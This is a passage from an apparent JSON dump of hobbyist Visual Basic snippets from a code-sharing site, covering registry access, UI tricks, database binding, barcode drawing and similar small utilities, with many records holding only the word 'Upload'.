37,"LineNumber":1,"line":"'///////start of form////////////\n'you need three command buttons and a text1.text\n'the module is not my code, it's really the easiest\n'code for registery thanx Kevin.\nDim path As String\nPrivate Sub Command1_Click()\n'save path to your program in RUN\npath = App.path & \"\\yourprogram.exe\"\nCall savestring(HKEY_LOCAL_MACHINE, \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\", \"String\", path)\nEnd Sub\nPrivate Sub Command2_Click()\n'delete if user uninstals your app\nCall DeleteValue(HKEY_LOCAL_MACHINE, \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\", \"string\")\nEnd Sub\nPrivate Sub Command3_Click()\n'check value\nText1.Text = getstring(HKEY_LOCAL_MACHINE, \"SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run\", \"String\")\nEnd Sub\n'///////////////end of form////\n\n'\n'\n'PUT THIS IN A .BAS!!!\n'\n'PUT THIS IN A .BAS!!!\n'\n' Easiest Read/Write to Registry\n' Kevin Mackey\n' LimpiBizkit@aol.com\n'\nPublic Const HKEY_CLASSES_ROOT = &H80000000\nPublic Const HKEY_CURRENT_USER = &H80000001\nPublic Const HKEY_LOCAL_MACHINE = &H80000002\nPublic Const HKEY_USERS = &H80000003\nPublic Const HKEY_PERFORMANCE_DATA = &H80000004\nPublic Const ERROR_SUCCESS = 0&\n\nDeclare Function RegCloseKey Lib \"advapi32.dll\" (ByVal Hkey As Long) As Long\n\nDeclare Function RegCreateKey Lib \"advapi32.dll\" Alias \"RegCreateKeyA\" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long\n\nDeclare Function RegDeleteKey Lib \"advapi32.dll\" Alias \"RegDeleteKeyA\" (ByVal Hkey As Long, ByVal lpSubKey As String) As Long\n\nDeclare Function RegDeleteValue Lib \"advapi32.dll\" Alias \"RegDeleteValueA\" (ByVal Hkey As Long, ByVal lpValueName As String) As Long\n\nDeclare Function RegOpenKey Lib \"advapi32.dll\" Alias \"RegOpenKeyA\" (ByVal Hkey As Long, ByVal lpSubKey As String, phkResult As Long) As Long\n\nDeclare Function RegQueryValueEx Lib \"advapi32.dll\" Alias \"RegQueryValueExA\" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal lpReserved As Long, lpType As Long, lpData As Any, lpcbData As Long) As Long\n\nDeclare Function RegSetValueEx Lib \"advapi32.dll\" Alias \"RegSetValueExA\" (ByVal Hkey As Long, ByVal lpValueName As String, ByVal Reserved As Long, ByVal dwType As Long, lpData As Any, ByVal cbData As Long) As Long\n Public Const REG_SZ = 1 ' Unicode nul terminated String\n Public Const REG_DWORD = 4 ' 32-bit number\n\nPublic Sub savekey(Hkey As Long, strPath As String)\n Dim keyhand&\n r = RegCreateKey(Hkey, strPath, keyhand&)\n r = RegCloseKey(keyhand&)\nEnd Sub\n\nPublic Function getstring(Hkey As Long, strPath As String, strValue As String)\n 'EXAMPLE:\n '\n 'text1.text = getstring(HKEY_CURRENT_USE\n ' R, \"Software\\VBW\\Registry\", \"String\")\n '\n Dim keyhand As Long\n Dim datatype As Long\n Dim lResult As Long\n Dim strBuf As String\n Dim lDataBufSize As Long\n Dim intZeroPos As Integer\n r = RegOpenKey(Hkey, strPath, keyhand)\n lResult = RegQueryValueEx(keyhand, strValue, 0&, lValueType, ByVal 0&, lDataBufSize)\n\n If lValueType = REG_SZ Then\n strBuf = String(lDataBufSize, \" \")\n lResult = RegQueryValueEx(keyhand, strValue, 0&, 0&, ByVal strBuf, lDataBufSize)\n\n If lResult = ERROR_SUCCESS Then\n intZeroPos = InStr(strBuf, Chr$(0))\n\n If intZeroPos > 0 Then\n getstring = Left$(strBuf, intZeroPos - 1)\n Else\n getstring = strBuf\n End If\n End If\n End If\nEnd Function\n\nPublic Sub savestring(Hkey As Long, strPath As String, strValue As String, strdata As String)\n 'EXAMPLE:\n '\n 'Call savestring(HKEY_CURRENT_USER, \"Sof\n ' tware\\VBW\\Registry\", \"String\", text1.tex\n ' t)\n '\n Dim keyhand As Long\n Dim r As Long\n r = RegCreateKey(Hkey, strPath, keyhand)\n r = RegSetValueEx(keyhand, strValue, 0, REG_SZ, ByVal strdata, Len(strdata))\n r = RegCloseKey(keyhand)\nEnd Sub\n\nFunction getdword(ByVal Hkey As Long, ByVal strPath As String, ByVal strValueName As String) As Long\n 'EXAMPLE:\n '\n 'text1.text = getdword(HKEY_CURRENT_USER\n ' , \"Software\\VBW\\Registry\", \"Dword\")\n '\n Dim lResult As Long\n Dim lValueType As Long\n Dim lBuf As Long\n Dim lDataBufSize As Long\n Dim r As Long\n Dim keyhand As Long\n r = RegOpenKey(Hkey, strPath, keyhand)\n ' Get length/data type\n lDataBufSize = 4\n lResult = RegQueryValueEx(keyhand, strValueName, 0&, lValueType, lBuf, lDataBufSize)\n\n If lResult = ERROR_SUCCESS Then\n\n If lValueType = REG_DWORD Then\n getdword = lBuf\n End If\n 'Else\n 'Call errlog(\"GetDWORD-\" & strPath, Fals\n ' e)\n End If\n r = RegCloseKey(keyhand)\nEnd Function\n\nFunction SaveDword(ByVal Hkey As Long, ByVal strPath As String, ByVal strValueName As String, ByVal lData As Long)\n 'EXAMPLE\"\n '\n 'Call SaveDword(HKEY_CURRENT_USER, \"Soft\n ' ware\\VBW\\Registry\", \"Dword\", text1.text)\n '\n '\n Dim lResult As Long\n Dim keyhand As Long\n Dim r As Long\n r = RegCreateKey(Hkey, strPath, keyhand)\n lResult = RegSetValueEx(keyhand, strValueName, 0&, REG_DWORD, lData, 4)\n 'If lResult <> error_success Then\n ' Call errlog(\"SetDWORD\", False)\n r = RegCloseKey(keyhand)\nEnd Function\n\nPublic Function DeleteKey(ByVal Hkey As Long, ByVal strKey As String)\n 'EXAMPLE:\n '\n 'Call DeleteKey(HKEY_CURRENT_USER, \"Soft\n ' ware\\VBW\")\n '\n Dim r As Long\n r = RegDeleteKey(Hkey, strKey)\nEnd Function\n\nPublic Function DeleteValue(ByVal Hkey As Long, ByVal strPath As String, ByVal strValue As String)\n 'EXAMPLE:\n '\n 'Call DeleteValue(HKEY_CURRENT_USER, \"So\n ' ftware\\VBW\\Registry\", \"Dword\")\n '\n Dim keyhand As Long\n r = RegOpenKey(Hkey, strPath, keyhand)\n r = RegDeleteValue(keyhand, strValue)\n r = RegCloseKey(keyhand)\nEnd Function\n\n"},{"WorldId":1,"id":6841,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6842,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6849,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6852,"LineNumber":1,"line":"'Load an new instance of myControl \n'the index is the count, thus making it one\n'greater than the prior index as index is 0 based\n'and count starts at 1\nLoad pbVI(pbVI.Count)\n'Count is now 1 greater so to address the control \n'you just created reference count -1\nWith pbVI(pbVI.Count - 1)\n'.Left = 100\n'.Top = 600\n'.Visible = True\nEnd With"},{"WorldId":1,"id":6855,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6856,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6863,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6869,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6871,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6872,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6879,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6883,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6890,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6891,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6902,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6905,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6909,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6914,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6915,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6920,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6922,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6925,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6926,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6927,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6930,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6931,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6940,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6941,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6943,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6946,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6956,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6958,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6966,"LineNumber":1,"line":"'Make a Command1\n 'Make a Text1\n 'Make a Text2\n 'Make a Text3 (Locked)\n \n 'Add\n Private Sub Command1_Click() \n Add Text1, Text2 \n End Sub \n \n 'Subtract\n Private Sub Command1_Click() \n Subtract Text1, Text2 \n End Sub \n \n 'Multiply\n Private Sub Command1_Click() \n Multiply Text1, Text2 \n End Sub \n \n 'Divide\n Private Sub Command1_Click() \n Divide Text1, Text2 \n End Sub \n"},{"WorldId":1,"id":6967,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6968,"LineNumber":1,"line":"'Load Richtx32.ocx\n 'Load msinet.ocx\n 'Make a RichTextBox1\n 'Make an Inet1\n 'Make a plain textbox names URL\n 'Make a command1\n \n Private Sub Command1_Click() \n On Error Resume Next \n \n Dim txt As String \n Dim b() As Byte \n \n Command1.Enabled = False \n \n b() = Inet1.OpenURL(URL.Text, 1) \n \n txt = \"\" \n \n For t = 0 To UBound(b) - 1 \n txt = txt + Chr(b(t)) \n Next \n \n RichTextBox1.Text = txt \n Command1.Enabled = True \n \n Exit Sub \n End Sub"},{"WorldId":1,"id":6969,"LineNumber":1,"line":"^ = Control \n {enter} = Enter \n % = Alt \n {Del} = Delete \n {ESCAPE} = Escape \n {TAB} = Tab \n + = Shift \n {BACKSPACE} = Backspace \n {BREAK} = Break \n {CAPLOCKS} = Caps Lock \n {CLEAR} = Clear \n {DELETE} = Delete \n {DOWN} = Down Arrow \n {LEFT} = Left Arrow \n {RIGHT} = Right Arrow \n {UP} = Up Arrow \n {NUMLOCK} = Num Lock \n {PGDN} = Page Down \n {PGUP} = Page Up \n {SCROLLLOCK} = Scroll Lock \n {F1} = F1 .......Use {F2} {F3} and so on for others... \n {HOME} = home \n {INSERT} = Insert"},{"WorldId":1,"id":6971,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6975,"LineNumber":1,"line":"' Name your form Form1\n ' Load comdlg32.ocx\n ' Make a Command1\n ' Make a common dialog named CDialog\n \n Private Sub Command1_Click() \n On Error GoTo fileOpenErrr \n CDialog.CancelError = True \n CDialog.FLAGS = &H4& Or &H100& \n CDialog.DefaultExt = \".jpg\" \n CDialog.DialogTitle = \"Select File To Open\" \n CDialog.Filter = \"JPEG (*.jpg)|*.jpg|GIF (*.gif)|*.gif|BITMAP (*.bmp)|*.bmp\" \n CDialog.ShowOpen \n Set Form1.Picture = LoadPicture(CDialog.filename) \n fileOpenErrr: \n Exit Sub \n End Sub \n \n ' This is what I use for a sort of skin effect on my programs."},{"WorldId":1,"id":6976,"LineNumber":1,"line":"'It seems everyone likes to use labels on mouseover of an object when really all you have to do is:\n'Goto the object properties, & goto ToolTipText. Put your message in there & you have a REAL tooltip. ;)\n'(guess sometimes people forget about the easy things)."},{"WorldId":1,"id":6979,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6980,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6981,"LineNumber":1,"line":"'IF ANYONE IMPROVES OR ADDS TO THIS CODE PLEASE FORWARD _\n A COPY TO ME SO I CAN UPDATE MY RECORDS AND INTERNITE SITES _\n E-MAIL: TDTOMLINS@YAHOO.COM\n \n'DataEnvironment is one item that is hard to find _\n Detail information about how to use it. I truly _\n Believe VB's DataEnvironment is the way to go _\n But using it takes time. This program will go _\n over some way's to make your data-environment more _\n Flexable during run-time operations that is not _\n usually covered in the majority books available to users.\n \n'When making changes be sure the Table,Field,Record is within _\n the database.\n \n'Open a dataproject if you already have a form _\n open then you will have to add a _\n DataEnvironment to your project\n \n' within data environment make a connection to _\n Biblio.mdb (comes with VB usually in dir _\n C:\\Program Files\\Microsoft Visual Studio\\VB98\\Biblio.mdb\n \n'Create a command Add an SQL statement: Select * from Authors\n'Create another command add a Data object-Database as TABLE _\n Object will be TITLES.\n'Create a another command add a SQL statement: _\n SELECT Titles.* FROM Titles WHERE (`Year Published` = ?) _\n In the Paramaters Tab set DATA TYPE as SMLINT and _\n set HOST DATA TYPE as INTEGER.\n \n'ON THE FORM ADD THE FOLLOWING\n'Add To the from a DataGrid, Three CommandButtons, _\n Three Labels with TextBox for each\n \nOption Explicit\n \nPrivate Sub Command1_Click()\nOn Error GoTo errorhandler\n \n' To use this routine you MUST have your command _\n as a SQL statement and have a valid statement _\n within it.\n \nDataEnvironment1.Commands.Item(\"Command1\").CommandText = Text1.Text\n \n'You must manually rebind your datagrid to activate the _\n Required commands\nWith DataGrid1\n .DataMember = \"Command1\"\n Set .DataSource = DataEnvironment1\nEnd With\n \n' You must close the recordset between commands\nDataEnvironment1.rsCommand1.Close\n \nExit Sub\nerrorhandler:\n Call errorRoutine\n Resume Next\n \nEnd Sub\n \nPrivate Sub Command2_Click()\n \n'Valad Tables: Titles, Publishers, Authors, 'Title Author'\n'NOTE: you must put single ' around Title Author.\n \nOn Error GoTo errorhandler\n' To use this routine you MUST have your command _\n as a DataObject statement and have a valid Object and _\n Object name within it.\n \nDataEnvironment1.Commands.Item(2).CommandText = Text2.Text\n \n'You must manually rebind your datagrid to activate the _\n Required commands\nWith DataGrid1\n .DataMember = \"Command2\"\n Set .DataSource = DataEnvironment1\nEnd With\n' You must close the recordset between commands\nDataEnvironment1.rsCommand2.Close\n \nExit Sub\nerrorhandler:\n Call errorRoutine\n Resume Next\n \nEnd Sub\n \nPrivate Sub Command3_Click()\nOn Error GoTo errorhandler\n' To use this routine you MUST have your command _\n as a SQL statement and have a valid statement _\n within it. Use the ? to indicate the Paramater. _\n Make sure your Parameter settings are correct.\n \nDataEnvironment1.Command3 Text3.Text\n \n'You must manually rebind your datagrid to activate the _\n Required commands\nWith DataGrid1\n .DataMember = \"Command3\"\n Set .DataSource = DataEnvironment1\nEnd With\n' You must close the recordset between commands\nDataEnvironment1.rsCommand3.Close\n \nExit Sub\nerrorhandler:\n Call errorRoutine\n Resume Next\n \n \nEnd Sub\nPrivate Sub errorRoutine()\nMsgBox (\"You must have appropriate commands in the textbox\")\n \nEnd Sub\n \nPrivate Sub Command4_Click()\n DataReport1.Show\nEnd Sub\n \nPrivate Sub Form_Load()\n \n MsgBox \"Valid Tables: Titles, Publishers, Authors, 'Title Author'\" _\n 'NOTE: you must put single ' around Title Author.\"\n \nLabel1.Caption = \" Enter SQL statement\"\nText1.Text = \"Select * From Titles\"\nCommand1.Caption = \"Run SQL statement\"\nLabel2.Caption = \"Enter Table Name\"\nText2.Text = \"Authors\"\nCommand2.Caption = \"Run Table Statement\"\nLabel3.Caption = \"Enter Year to search Publisher\"\nText3.Text = \"1985\"\nCommand3.Caption = \"Run Paramater Statement\"\n \nEnd Sub\n \n"},{"WorldId":1,"id":6991,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":6992,"LineNumber":1,"line":"'- Made By: iNfO\n'- Project: ^ Font Properties ^\n'- Items Needed:\n'- 3 - CommandButtons (Command1, Command2, Command3)\n'- 1 - Listbox (List1)\n'- 1 - Label (Label1)\nPrivate Sub Command1_Click()\n'- Declares the variables\nDim NUM As Single\nDim x As Single\n'- gets the numbers of fonts you have\nNUM = Screen.FontCount\n'- Set the listbox properties\n'- Set List1, Sorted = True\n'- Goes from 1 to number of fonts\nFor x = 1 To NUM\n List1.AddItem Screen.Fonts(x)\nNext x\n'- for some reason there will be a blank itme\n'- this removes it\nList1.RemoveItem (0)\n'- Displays the number of fonts\nLabel2.Caption = List1.ListCount\nEnd Sub\nPrivate Sub Command2_Click()\n'- Makes sure that there are fonts to choose from\nIf List1.ListCount <> 0 Then\n '- this makes the fonts watever you select from\n '- the listbox\n Label1.Font = List1.Text\nElse\n MsgBox \"you have to choose the fonts first\"\nEnd If\nEnd Sub\nPrivate Sub Command3_Click()\n'- Makes sure that there are fonts to choose from\nIf List1.ListCount <> 0 Then\n '- Declares the variables\n Dim Size As Single\n '- lets it inputbox get the font size\n '- Makes it a value\n Size = Val(InputBox(\"Enter the font size\"))\n Label1.FontSize = Val(Size)\nElse\n MsgBox \"you have to choose the fonts first\"\nEnd If\nEnd Sub\nPrivate Sub Form_Load()\n'- Sets the captions of the buttons\nCommand1.Caption = \"Get Fonts\"\nCommand2.Caption = \"Apply Fonts\"\nCommand3.Caption = \"Get Fonts Size\"\nEnd Sub\n"},{"WorldId":1,"id":6997,"LineNumber":1,"line":"Private Sub Command1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\nX1 = X\nY1 = Y\nEnd Sub\nPrivate Sub Form_DragDrop(Source As Control, X As Single, Y As Single)\nSource.Top = Y - Y1\nSource.Left = X - X1\nEnd Sub\nPrivate Sub Label1_DragDrop(Source As Control, X As Single, Y As Single)\nSource.Top = Label1.Top + Y - Y1\nSource.Left = Label1.Left + X - X1\nEnd Sub\nPrivate Sub Picture1_MouseMove(Button As Integer, Shift As Integer, X As Single, Y As Single)\nX1 = X\nY1 = Y\nEnd Sub"},{"WorldId":1,"id":6998,"LineNumber":1,"line":"'This small and very simple sub will format the\n'caption of a Label control if the text is too\n'big to display in the control. The sub will\n'trucate the text and append \"...\" to the end\n'of the text (indicating to the user that they\n'are not seeing the full text). VB automatically\n'wordwraps the caption of a label if it is too\n'big, however, this results in the caption being\n'truncated only where there is a space. Also,\n'you can see the top of the next line of the caption.\n'Example\n'Make and Model: Cadillac\n'becomes:\n'Make and Model: Cadillac Eldor...\n'I find this extremely useful when I don't know the\n'maximum length of the text the label will contain,\n'or if I don't have enough screen real estate to\n'make the Label big enough.\n\nPrivate Sub AutoSizeCaption(lbl As Label)\n Dim i As Integer\n Dim iLabelWidth As Integer\n Dim sText As String\n Const kMore = \"...\"\n ' store orignal caption and width\n sText = lbl.Caption\n \n ' numeric or date? Don't format.\n If IsNumeric(lbl.Caption) Or IsDate(lbl.Caption) Then Exit Sub\n iLabelWidth = lbl.Width\n ' allow label to \"spring\" to it's actual width\n lbl.AutoSize = True\n ' is required width of label < actual width?\n If lbl.Width > iLabelWidth Then\n i = Len(sText) - 1\n Do\n lbl.Caption = Left(sText, i) & kMore\n i = i - 1\n Loop Until (lbl.Width <= iLabelWidth) Or (i = 0)\n End If\nExit_Sub:\n lbl.AutoSize = False\n lbl.Width = iLabelWidth\n Exit Sub\n \nErrorHandler:\n ' something went wrong ... put everything back\n lbl.Caption = sText\n Resume Exit_Sub\nEnd Sub\n"},{"WorldId":1,"id":6999,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7013,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7015,"LineNumber":1,"line":"'- You will need:\n'- 2 Command Buttons\nPrivate Sub Form_Load()\n'- Sets the Captions for the Buttons\nCommand1.Caption = \"Disable\"\nCommand2.Caption = \"Enable\"\nEnd Sub\nPrivate Sub Command1_Click()\n'- This disables the Ctrl + Alt + Del Method\n'- and the Alt + Tab Method\nCtrlAltDel_Disable\nEnd Sub\nPrivate Sub Command2_Click()\n'This enables the Ctrl + Alt + Del Method\n'- and the Alt + Tab Method\nCtrlAltDel_Enable\nEnd Sub\n"},{"WorldId":1,"id":7024,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7032,"LineNumber":1,"line":"Public Function SystemResources() As String\nGDI$ = CStr(pBGetFreeSystemResources(1))\nSys$ = CStr(pBGetFreeSystemResources(0))\nUser$ = CStr(pBGetFreeSystemResources(2))\nSystemResources$ = \"GDI: \" + GDI$ + \"%\"\nSystemResources$ = SystemResources$ + vbCrLf + \"System: \" + Sys$ + \"%\"\nSystemResources$ = SystemResources$ + vbCrLf + \"User: \" + User$ + \"%\"\nEnd Function\n'--------------------\n'To use this code in a Message Box, use:\nMsgBox SystemResources$, vbSystemModal, \"System Resources\"\n'--------------------\n'To use this code in a Text Box, use:\nText1 = SystemResources$\n'Text1 being your Text Box name\n'--------------------\n'The SystemResources function was made to be placed in a module; if you would like it to be placed in your form... copy the declaration and function, paste it in your form coding, and change the Public to Private.\n"},{"WorldId":1,"id":7036,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7037,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7040,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7047,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7052,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7056,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7057,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7062,"LineNumber":1,"line":"'Insert in Event (Like Button_Click)\nCall ShellAbout(Me.hwnd, \"- About Box Example\", \"A small example \" & \"that uses the ShellAbout Function to create an About Box.\", Me.Icon)"},{"WorldId":1,"id":7065,"LineNumber":1,"line":"Private Sub chkOnOff_Click()\nOn Error Resume Next 'resume next beacuse not all controls support dragmode\nDim ctl As Control\n'Turn dragmode on/off\n \n If chkOnOff.Value Then\n For Each ctl In Me.Controls\n 'Debug.Print TypeName(ctl)\n ctl.DragMode = vbAutomatic\n Next\n Else\n For Each ctl In Me.Controls\n 'Debug.Print TypeName(ctl)\n ctl.DragMode = vbManual\n Next\n End If\n Me.chkOnOff.DragMode = vbManual\nEnd Sub\nPrivate Sub Form_DragDrop(Source As Control, X As Single, Y As Single)\n'Move the control\n Source.Top = Y\n Source.Left = X \nEnd Sub\n"},{"WorldId":1,"id":7066,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7071,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7077,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7090,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7091,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7094,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7097,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7100,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7103,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7104,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7108,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7115,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7119,"LineNumber":1,"line":"Private Sub Form_Load()\n Me.ScaleMode = 3 'Pixel Mode\n Me.MousePointer = 2 'Set Mouse Pointer to Cross\nEnd Sub\nPrivate Sub Form_MouseMove(Button As Integer, _ Shift As Integer, X As Single, Y As Single)\n Cls\n Me.Circle (X, Y), 25 'Draw Circle\n Me.Line (0, Y)-(Me.Width, Y) \n Me.Line (X, 0)-(X, Me.Height) \n Me.CurrentX = X + 35\n Me.CurrentY = Y - 25\n Me.Print \"X: \" & X & \" Y: \" & Y \nEnd Sub"},{"WorldId":1,"id":7124,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7126,"LineNumber":1,"line":"Public Function IsNullEx(ValueToCheck As Variant, varWhatToReturnIfNull) As Variant\n If IsNull(ValueToCheck) Then\n IsNullEx = varWhatToReturnIfNull\n Else\n IsNullEx = ValueToCheck\n End If\nEnd Function\nUsage example:\ntxtClientName = IsNullEx(rst!ClientName, \"unknown\")\n"},{"WorldId":1,"id":7130,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7140,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7148,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7153,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7164,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7165,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7167,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7171,"LineNumber":1,"line":"Sub Main()\n Dim WC As WNDCLASS\n Dim dwRetVal As Long\n Dim msgWnd As MSG\n \n WC.lpszClassName = HT_CLASSNAME\n WC.lpfnwndproc = GetAddressOf(AddressOf MainWndProc)\n WC.style = CS_OWNDC Or CS_VREDRAW Or CS_HREDRAW\n WC.hInstance = App.hInstance\n WC.hIcon = apiLoadIcon(0, IDI_APPLICATION)\n WC.hCursor = apiLoadCursor(0, IDC_ARROW)\n WC.hbrBackground = COLOR_WINDOW\n WC.cbClsextra = 0\n WC.cbWndExtra2 = 0\n \n dwRetVal = apiRegisterClass(WC)\n Debug.Print \"RegisterClass returns '\" & CStr(dwRetVal) & \"'.\"\n \n hWnd = apiCreateWindowEx(0, HT_CLASSNAME, HT_WINDOWTITLE, WS_OVERLAPPEDWINDOW, 0, 0, 0, 0, 0, 0, App.hInstance, 0)\n Debug.Print \"CreateWindowEx returns hWnd '\" & CStr(hWnd) & \"'.\"\n \n dwRetVal = apiSetWindowPos(hWnd, 0, 200, 200, 300, 300, &H40)\n Debug.Print \"SetWindowPos returns '\" & CStr(dwRetVal) & \"'.\"\n \n Do While apiGetMessage(msgWnd, hWnd, 0&, 0&) > 0\n apiDispatchMessage msgWnd ': DoEvents\n Loop\n \n dwRetVal = apiUnregisterClass(HT_CLASSNAME, App.hInstance)\n Debug.Print \"UnregisterClass returns '\" & CStr(dwRetVal) & \"'.\"\nEnd Sub\nPrivate Function MainWndProc(ByVal hWnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long\n MainWndProc = apiDefWindowProc(hWnd, wMsg, wParam, lParam)\nEnd Function\nPrivate Function GetAddressOf(ProcAddress As Long) As Long\n GetAddressOf = ProcAddress\nEnd Function\n"},{"WorldId":1,"id":7172,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7175,"LineNumber":1,"line":"Private Type RASCONN\n dwSize As Long\n hRasConn As Long\n szEntryName(256) As Byte\n szDeviceType(16) As Byte\n szDeviceName(128) As Byte\nEnd Type\nPrivate Declare Function RasEnumConnectionsA& Lib \"RasApi32.DLL\" (lprasconn As Any, lpcb&, lpcConnections&)\nPrivate Sub Command1_Click()\nDim Verbindung As RASCONN\nDim size, Anz As Long\n Verbindung.dwSize = 412\n size = Verbindung.dwSize\n If RasEnumConnectionsA(Verbindung, size, Anz) = 0 Then\n If Anz = 0 Then\n MsgBox (\"You are NOT connected to the net.\")\n Else\n MsgBox (\"You are connected to the net.\")\n End If\n End If\nEnd Sub"},{"WorldId":1,"id":7179,"LineNumber":1,"line":"Public Sub Code3of9(sToCode As String, pPaintInto As PictureBox, pLabelInto As Label)\n \n Dim sValidChars As String\n Dim sValidCodes As String\n Dim lElevate As Integer\n Dim lCounter As Long\n Dim lWkValue As Long\n Dim PosX As Long\n Dim PosY1 As Long\n Dim PosY2 As Long\n Dim TPX As Long\n \n pPaintInto.Cls\n \n TPX = Screen.TwipsPerPixelX\n \n sValidChars = \"0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ-. $/+%*\"\n sValidCodes = \"41914595664727860970419025962647338417105957\" + _\n \"84729059950476626106644590602984801043246599\" + _\n \"62476744460260046477586109044686603224803443\" + _\n \"91860130478424477058030365265828235758580903\" + _\n \"65863556658042365383495434978353624150635770\"\n \n sToCode = UCase(IIf(Left(sToCode, 1) = \"*\", \"\", \"*\") + sToCode + IIf(Right(sToCode, 1) = \"*\", \"\", \"*\"))\n PosX = ((((pPaintInto.Width / TPX) - (Len(sToCode) * 16)) / 2) * TPX) - 1\n PosY1 = pPaintInto.Height * 0.2\n PosY2 = pPaintInto.Height * 0.8\n \n If PosX < 0 Then\n MsgBox \"The length of the code exceeds control limits.\", vbExclamation, \"Large string\"\n GoTo End_Code\n End If\n \n On Error Resume Next\n \n For lCounter = 1 To Len(sToCode)\n'Here is where the number is fetched from the sValidCodes string. It will get only 5 digits.\n lWkValue = Val(Mid(sValidCodes, ((InStr(1, sValidChars, Mid(sToCode, lCounter, 1)) - 1) * 5) + 1, 5))\n lWkValue = IIf(lWkValue = 0, 36538, lWkValue)\n For lElevate = 15 To 0 Step -1\n 'It evaluates the binary number to see if it has to draw a line.\n If lWkValue >= 2 ^ lElevate Then\n pPaintInto.Line (PosX, PosY1)-(PosX, PosY2)\n lWkValue = lWkValue - (2 ^ lElevate)\n End If\n PosX = PosX + TPX\n Next\n Next\n pLabelInto.Caption = Mid(sToCode, 2, Len(sToCode) - 2)\nEnd_Code:\nEnd Sub\n"},{"WorldId":1,"id":7187,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7188,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7191,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7192,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7199,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7212,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7216,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7221,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7224,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7250,"LineNumber":1,"line":"Upload"},{"WorldId":1,"id":7255,"LineNumber":1,"line":"'Code created by Jonathan Jarvis - Jman\n'Email: roboman1@email.com\n'as of now this will require a listbox with a name of \"List1\"\nPrivate Sub getfiletoopen(filename As String)\nList1.AddItem filename\nEnd Sub\nPrivate Sub Form_Load()\n'create variables\nDim howlong, n As Integer, c As String\n'give variables values\nc = Command\nn = 1\nFor howlong = Len(Command) To 1 Step -1 ' start loop 